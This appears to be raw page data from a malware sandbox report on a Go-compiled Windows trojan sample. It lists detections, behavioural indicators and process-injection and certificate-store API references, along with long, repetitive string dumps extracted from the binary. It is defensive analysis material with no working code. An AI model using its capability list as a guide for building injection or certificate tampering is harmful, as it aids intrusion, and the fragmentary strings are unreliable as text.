26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 63:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4c8,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample cbedd93651d4… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample cbedd93651d4…. Malware family: Trojan.Generic. Threat score 100/100. 9/27 AV engines flagged this file. 10 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815"],"about":{"@type":"SoftwareApplication","name":"cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin","applicationCategory":["peexe","64bits","executable"],"identifier":"cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":9,"total":27},"behavioralIndicators":{"malicious":10,"suspicious":22},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T5ad,Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") file/memory contains long string with (Indicator: "VirtualAlloc"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") file/memory contains long string with (Indicator: "VirtualFree"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found reference to API "VirtualFreeEx" (Indicator: "VirtualFree"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00005456.00000000.167125.DEE89000.00000002.mdmp")28:T5cf,"4iOGt7rrAueqzkuQnkrKGBgv.exe" called "FindResourceA" with parameter "140698278467780" - (UID: 00000000-00005456) "4iOGt7rrAueqzkuQnkrKGBgv.exe" called "FindResourceA" with parameter "140698278467792" - (UID: 00000000-00005456) "4iOGt7rrAueqzkuQnkrKGBgv.exe" called "FindResourceA" with parameter "140698278467824" - (UID: 00000000-00005456) "4iOGt7rrAueqzkuQnkrKGBgv.exe" called "FindResourceA" with parameter "140698278468056" - (UID: 00000000-00005456) "4iOGt7rrAueqzkuQnkrKGBgv.exe" called "FindResourceA" with parameter "140698278467856" - (UID: 00000000-00005456) "4iOGt7rrAueqzkuQnkrKGBgv.exe" called "FindResourceA" with parameter "140698278468024" - (UID: 00000000-00005456) "4iOGt7rrAueqzkuQnkrKGBgv.exe" called "FindResourceA" with parameter "140698278468040" - (UID: 00000000-00005456) "4iOGt7rrAueqzkuQnkrKGBgv.exe" called "FindResourceA" with parameter "559418112096" - (UID: 00000000-00005456) "4iOGt7rrAueqzkuQnkrKGBgv.exe" called "FindResourceA" with parameter "140698278467912" - (UID: 00000000-00005456) "4iOGt7rrAueqzkuQnkrKGBgv.exe" called "FindResourceA" with parameter "140698278468016" - (UID: 00000000-00005456) "4iOGt7rrAueqzkuQnkrKGBgv.exe" called "FindResourceA" with parameter "559418112160" - (UID: 00000000-00005456) "4iOGt7rrAueqzkuQnkrKGBgv.exe" called "FindResourceA" with parameter "140698278467872" - (UID: 00000000-00005456) "4iOGt7rrAueqzkuQnkrKGBgv.exe" called "FindResourceA" with parameter "140698278467880" - (UID: 00000000-00005456)29:T58a,"4iOGt7rrAueqzkuQnkrKGBgv.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '140698278491760'}" (UID: 00000000-00005456) "4iOGt7rrAueqzkuQnkrKGBgv.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '140698278491616'}" (UID: 00000000-00005456) "4iOGt7rrAueqzkuQnkrKGBgv.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '140698278491776'}" (UID: 00000000-00005456) "4iOGt7rrAueqzkuQnkrKGBgv.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '140698278491664'}" (UID: 00000000-00005456) "4iOGt7rrAueqzkuQnkrKGBgv.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '140698278491632'}" (UID: 00000000-00005456) "4iOGt7rrAueqzkuQnkrKGBgv.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '140698278491680'}" (UID: 00000000-00005456) "4iOGt7rrAueqzkuQnkrKGBgv.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '140698278491728'}" (UID: 00000000-00005456) "4iOGt7rrAueqzkuQnkrKGBgv.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '140698278491600'}" (UID: 00000000-00005456) "4iOGt7rrAueqzkuQnkrKGBgv.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '140698278491712'}" (UID: 00000000-00005456) "4iOGt7rrAueqzkuQnkrKGBgv.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '140698278491744'}" (UID: 00000000-00005456)2a:Tb1e,Found reference to API "SetWaitableTimer" (Indicator: "SetWaitableTimer"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") file/memory contains long string with (Indicator: "WaitForSingleObject"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") file/memory contains long string with (Indicator: "GetSystemTimeAsFileTime"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") file/memory contains long string with (Indicator: "SetWaitableTimer"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found reference to API "syscall.WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found reference to API "syscall.procWaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found reference to API "IcmpSendEcho" (Indicator: "IcmpSendEcho"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found reference to API "SetTimer" (Indicator: "SetTimer"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00005456.00000000.167125.DEE89000.00000002.mdmp") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00005456.00000000.167125.DEE89000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00005456.00000000.167125.DEE89000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00005456.00000000.167125.DEE89000.00000002.mdmp")2b:T7eb,Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") file/memory contains long string with (Indicator: "FreeLibrary"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") file/memory contains long string with (Indicator: "LoadLibrary"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found reference to API "syscall.LoadLibrary" (Indicator: "LoadLibrary"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found reference to API "syscall._LoadLibrary" (Indicator: "LoadLibrary"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found reference to API "syscall.procLoadLibraryW" (Indicator: "LoadLibrary"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found reference to API "FreeLibraryAndExitThread" (Indicator: "FreeLibrary"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00005456.00000000.167125.DEE89000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00005456.00000000.167125.DEE89000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00005456.00000000.167125.DEE89000.00000002.mdmp")2c:T457,Found string - tUTC-11UTC-02UTC-08UTC-09UTC+12UTC+13sysmontimersefenceselect not object objs next= jobs= goid sweep B -> % util alloc free span= prev= list= i = code= addr= m->p= p->m=SCHED curg= ctxt: min= max= bad ts(...) m=nil base CommonrdtscppopcntGetACP Valueuint16uint32uint64stringstructcmd/gonetdnsCopySidWSARecvWSASendconnectreaddirconsole19531259765625TuesdayJanuaryOctoberMUI_StdMUI_DltforcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningsyscallwaitingforevernetworkUNKNOWNcleanup:events goid= mark s=nil (scan MB in pacer: % CPU ( zombiegc bits, j0 = head = panic: GODEBUG nmsys= locks= dying= allocs m->g0= pad1= pad2= text= minpc= value= (scan)types : type avx512f\\.\UNCSwapperinvaliduintptrfloat32float64runtimeos/execfips140tls3destlssha1PSI-P700no anodeCancelIoReadFileAcceptExWSAIoctlshutdown48828125infinitystrconv.parsing ParseIntThursdaySaturdayFebruaryNovemberDecember%!Month(nil PoolscavengepollDescsynctesttraceBufdeadlockraceFinipanicnilcgocheckrunnablerax rbx rcx rdx; Source: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin")2d:T6d3,"m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchwrong timerstrace bufferOpenServiceWRevertToSelfCreateEventWGetConsoleCPUnlockFileExVirtualQueryNtCreateFilenot pollablegotypesaliashttpmuxgo121multipathtcptlsunsafeekmchlorophyll-achlorophyll-bbeta-carotenelevel 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbyname3814697265625invalid base wakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil, not value method heap metadata span.base()=bad flushGen created at: , not pointer != sweepgen MB globals, work.nproc= work.nwait= nStackRoots= flushedWork double unlock s.spanclass= MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=l" (Indicator: "CertOpenStore"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found api reference "oad64 failedxadd64 failedxchg64 failednil stackbase}sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=dalTLDpSugct?GetTempPath2WModule32NextWRtlGetVersionRegDeleteKeyWRegEnumValueWcrypto/subtlegocacheverifyinstallgoroothtml/templatetlsmaxrsasizeGetProcAddressfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unexpected EOFinvalid syntax1907348632812595367431640625asynctimerchanuserArenaStateGC (dedicated)read mem statsupdatemaxprocsgcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayscavenge indexRtlGetVersion" (Indicator: "CertCloseStore"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found api reference "oad64 failedxadd64 failedxchg64 failednil stackbase}sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=dalTLDpSugct?GetTempPath2WModule32NextWRtlGetVersionRegDeleteKeyWRegEnumValueWcrypto/subtlegocacheverifyinstallgoroothtml/templatetlsmaxrsasizeGetProcAddressfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unexpected EOFinvalid syntax1907348632812595367431640625asynctimerchanuserArenaStateGC (dedicated)read mem statsupdatemaxprocsgcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayscavenge indexRtlGetVersion" (Indicator: "CryptGenRandom"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found api reference "ngeruntime: gp: gp=runtime: getg: g=forEachP: not done in async preemptbad manualFreeListruntime: textAddr frames elided..., locked to thread, synctest bubble runtime.semacreateruntime.semawakeupGetSidSubAuthorityQueryServiceStatusGetComputerNameExWGetModuleFileNameWuse of closed filex509negativeserialbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdWaitForSingleObject14901161193847656257450580596923828125Egypt Standard TimeSudan Standard TimeLibya Standard TimeBahia Standard TimeHaiti Standard TimeYukon Standard TimeAltai Standard TimeIndia Standard TimeSyria Standard TimeRussia Time Zone 11Nepal Standard TimeKorea Standard TimeChina Standard TimeRussia Time Zone 10Tokyo Standard TimeTomsk Standard TimeSamoa Standard TimeTonga Standard TimestrongFromWeakQueueGC mark terminationsync.WaitGroup.Waitchan send (durable)wait for debug callpanicwrap: no ( in panicwrap: no ) in called usin" (Indicator: "CryptReleaseContext"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionfile already existsfile does not existfile already closedSetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsinvalid write result37252902984619140625Jordan Standard TimeArabic Standard TimeIsrael Standard TimeTaipei Standard TimeAzores Standard TimeTurkey Standard Timefloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:" (Indicator: "CertOpenSystemStoreW"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionfile already existsfile does not existfile already closedSetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsinvalid write result37252902984619140625Jordan Standard TimeArabic Standard TimeIsrael Standard TimeTaipei Standard TimeAzores Standard TimeTurkey Standard Timefloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:" (Indicator: "CryptAcquireContextW"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found api reference "ermittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableWbytes.Buffer: too large23283064365386962890625E. Africa Standard TimeTocantins Standard TimeArgentina Standard TimeVenezuela Standard TimeGreenland Standard TimeSri Lanka Standard TimeWest Bank Standard TimeQyzylorda Standard TimeSingapore Standard TimeWest Asia Standard TimeGreenwich Standard TimeLord Howe Standard TimeAstrakhan Standard TimeW. Europe Standard TimeE. Europe Standard TimeVolgograd Standard TimeMauritius Standard TimeMarquesas Standard Time" not found in registryindex out of range [%x]ReadMemStatsSlow (test)chan receive (nil chan)garbage collection scanmakechan: bad alignmentclose of closed channelunlock of unlocked lock) must be a power of 2system huge page size (runtime: s.allocCount= s.allocCount > s.nelems/gc/heap/allocs:objectsruntime: internal errorwork.nwait > work.nprocleft over markroot jobsgcDrain phase incorrectMB during sweep; swept bad profile stack countrunt" (Indicator: "CertGetCertificateChain"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found api reference "ime: netpoll failedpanic during preemptoffnanotime returning zerofatal: morestack on g0the current g is not g0schedule: holding locksprocresize: invalid argspan has no free stacksstack growth after forkshrinkstack at bad timereflect.methodValueCall" missing CPU supportGetSidSubAuthorityCountImpersonateLoggedOnUserDestroyEnvironmentBlockexit hook invoked panicpattern bits too long: connection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWinvalid argument to Intn116415321826934814453125582076609134674072265625SA Pacific Standard TimeSA Eastern Standard TimeUS Eastern Standard TimeSA Western Standard TimeMontevideo Standard TimeMagallanes Standard TimePacific SA Standard TimeAzerbaijan Standard TimeBangladesh Standard TimeNorth Asia Standard TimeCape Verde Standard Timetracecheckstackownershiphash of unhashable type span has no f" (Indicator: "CertFreeCertificateChain"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin"), Found api reference "lock: lock countbad system huge page sizearena already initialized to unused region of span bytes failed with errno=runtime: VirtualAlloc of /sched/gomaxprocs:threadsmissing type in finalizerremaining pointer buffersslice bounds out of range_cgo_thread_start missingallgadd: bad status Gidleruntime: program exceeds startm: p has runnable gsstoplockedm: not runnablereleasep: invalid p statecheckdead: no p for timercheckdead: no m for timerunknown sigtramp callbackunexpected fault address missing stack in newstackbad status in shrinkstackmissing traceGCSweepStartGODEBUG: can not enable "GetSidIdentifierAuthorityinconsistent poll.fdMutexunexpected key value typeExpandEnvironmentStringsWhash of unhashable type: invalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextGetFileInformationByHandlePostQueuedCompletionStatusSetFileInformationByHandleinvalid argument to Int63ninvalid argument to Int31n1455191522836685180664" (Indicator: "CertFreeCertificateContext"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found api reference "062572759576141834259033203125South Africa Standard TimeSaint Pierre Standard TimeNewfoundland Standard TimeCentral Asia Standard TimeEkaterinburg Standard TimeE. Australia Standard TimeW. Australia Standard TimeBougainville Standard TimeLine Islands Standard TimeWest Pacific Standard Timeall goroutines stack traceGC background sweeper waitcall from unknown functionnotewakeup - double wakeuppersistentalloc: size == 0/gc/cycles/total:gc-cyclesbad type kind in finalizernegative idle mark workersuse of invalid sweepLockerruntime: bad span s.state=forEachP: P did not run fnwakep: negative nmspinningstartlockedm: locked to meinittask with no functionscorrupted semaphore ticketout of memory (stackalloc)shrinking stack in libcallruntime: pcHeader: magic= traceRegion: out of memoryRtlNtStatusToDosErrorNoTebchannel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStore363797880709171295166015625Easter Island Standard TimePageCachePagesLeaked (tes" (Indicator: "CertEnumCertificatesInStore"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found api reference "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for httpservecontentkeepheadersfile descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContextGetFileInformationByHandleEx18189894035458564758300781259094947017729282379150390625Canada Central Standard Tim" (Indicator: "CertCreateCertificateContext"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found api reference "und unmarked objectruntime: failed to commit pages/memory/classes/heap/free:bytes/memory/classes/os-stacks:bytespacer: sweep done at heap size non in-use span in unswept listruntime.Pinner: argument is nilcasgstatus: bad incoming valuesresetspinning: not a spinning mruntime: profBuf already closedruntime: split stack overflow: ...additional frames elided...unsafe.String: len out of rangeresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicybufio: tried to fill full buffer28421709430404007434844970703125slice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)end outside usable address spaceruntime: failed to release pagesruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased allocation countremovespecial on invalid pointerruntime: root level max p" (Indicator: "CertAddCertificateContextToStore"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found api reference "und unmarked objectruntime: failed to commit pages/memory/classes/heap/free:bytes/memory/classes/os-stacks:bytespacer: sweep done at heap size non in-use span in unswept listruntime.Pinner: argument is nilcasgstatus: bad incoming valuesresetspinning: not a spinning mruntime: profBuf already closedruntime: split stack overflow: ...additional frames elided...unsafe.String: len out of rangeresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicybufio: tried to fill full buffer28421709430404007434844970703125slice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)end outside usable address spaceruntime: failed to release pagesruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased allocation countremovespecial on invalid pointerruntime: root level max p" (Indicator: "CertVerifyCertificateChainPolicy"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found api reference "bad g0 stackself-preempt [recovered]bad recoverybad g statusentersyscallwirep: p->m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchwrong timerstrace bufferOpenServiceWRevertToSelfCreateEventWGetConsoleCPUnlockFileExVirtualQueryNtCreateFilenot pollablegotypesaliashttpmuxgo121multipathtcptlsunsafeekmchlorophyll-achlorophyll-bbeta-carotenelevel 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbyname3814697265625invalid base wakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil, not value method heap metadata span.base()=bad flushGen created at: , not pointer != sweepgen MB globals, work.nproc= work.nwait= nStackRoots= flushedWork double unlock s.spanclass= MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=" (Indicator: "CertOpenStore"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found api reference "ngeruntime: gp: gp=runtime: getg: g=forEachP: not done in async preemptbad manualFreeListruntime: textAddr frames elided..., locked to thread, synctest bubble runtime.semacreateruntime.semawakeupGetSidSubAuthorityQueryServiceStatusGetComputerNameExWGetModuleFileNameWuse of closed filex509negativeserialbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdWaitForSingleObject14901161193847656257450580596923828125Egypt Standard TimeSudan Standard TimeLibya Standard TimeBahia Standard TimeHaiti Standard TimeYukon Standard TimeAltai Standard TimeIndia Standard TimeSyria Standard TimeRussia Time Zone 11Nepal Standard TimeKorea Standard TimeChina Standard TimeRussia Time Zone 10Tokyo Standard TimeTomsk Standard TimeSamoa Standard TimeTonga Standard TimestrongFromWeakQueueGC mark terminationsync.WaitGroup.Waitchan send (durable)wait for debug callpanicwrap: no ( in panicwrap: no ) in called usi" (Indicator: "CryptReleaseContext"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionfile already existsfile does not existfile already closedSetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsinvalid write result37252902984619140625Jordan Standard TimeArabic Standard TimeIsrael Standard TimeTaipei Standard TimeAzores Standard TimeTurkey Standard Timefloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit" (Indicator: "CertOpenSystemStoreW"; File: "cbedd93651d45388c2e59d79959d26cc14232a159edb45f61d1db02e8b9c6815.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionfile already existsfile does not existfile already closedSetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWembedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersinvalid request codebad font file formatis a named type filekey has 